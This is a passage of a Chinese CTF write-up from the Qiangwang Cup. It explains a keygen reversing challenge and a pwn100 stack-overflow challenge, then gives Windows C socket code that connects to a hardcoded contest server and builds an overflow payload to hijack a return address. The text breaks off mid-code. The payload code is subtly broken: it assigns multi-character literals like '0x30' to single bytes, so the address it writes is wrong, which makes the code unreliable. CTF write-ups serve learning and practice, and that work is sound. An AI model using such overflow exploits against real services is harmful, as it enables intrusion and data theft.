打了2天的强网杯,虽然一度冲进了前10。可惜最后的时候还是掉出了20名。最后只能无奈打出GG。其中的原因有很多,也不想多说了。
逆向溢出题3连发。我就只会那么多了Orz
先来一道re200
kergen
发送24位的字符串,主要是400B56处的检验函数。检验方法是这样的先是发送字符的第1 10 7 11 2 13 16 17位,中间插入43917202。然后MD5,然后转化成32位字符串形式,然后把前16位字符按ascii码转化成整数字符串。就是一个sprintf(“%d”,char)这样,再去掉其中的所有0,然后转化后的字符串第5至12位和发送字符串第15 12 18 0 6 8 5 3位相同。
再然后字符串的4 9 12 19 位必须是‘-’,然后发送10次,每次不一样。还好字符串最后4位没有要求,随便凑就好<–其实好像是出题的bug了或者是后面降低难度加上的最后4位
额,这题还要啥脚本,手算都出来了。
然后是一题pwn100
guess
题目非常的简单。无限读取到栈上什么的最棒了。但是题目没有给libc,可以leak出libc加载的基地址。但是不知道system函数的地址。
这里需要脑洞,自动脑补服务器端程序根目录下就有个文件flag。恩,一定是这样的。
那么就是溢出后控制程序跳转到打印文件的函数,然后flag这个文件名可以在最后的scanf接收到堆中。
代码如下:
// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include<winsock2.h>
#include<stdio.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")
int main (void)
{
int i;
WSADATA wsaData;
SOCKET sockClient;
SOCKADDR_IN addrServer;
char recvBuf[5000]={0};
WSAStartup(MAKEWORD(2,2),&wsaData);
sockClient=socket(AF_INET,SOCK_STREAM,0);
addrServer.sin_addr.S_un.S_addr=inet_addr("119.254.101.197");
addrServer.sin_family=AF_INET; addrServer.sin_port=htons(10000);
connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
recv(sockClient,recvBuf,1000,0);
printf("%s",recvBuf);
printf("\n*****************************************************************\n");
for(i=0;i<1000;recvBuf[i]=0,i++);
char message[2000];
for(i=0;i<156;i++)
message[i]='x';
message[156]='0x30';
message[157]='0x88';
message[158]='0x04';
message[159]='0x08';
message[160]='x';
message[161]='x';
message[162]='x';
message[163]='x';
mess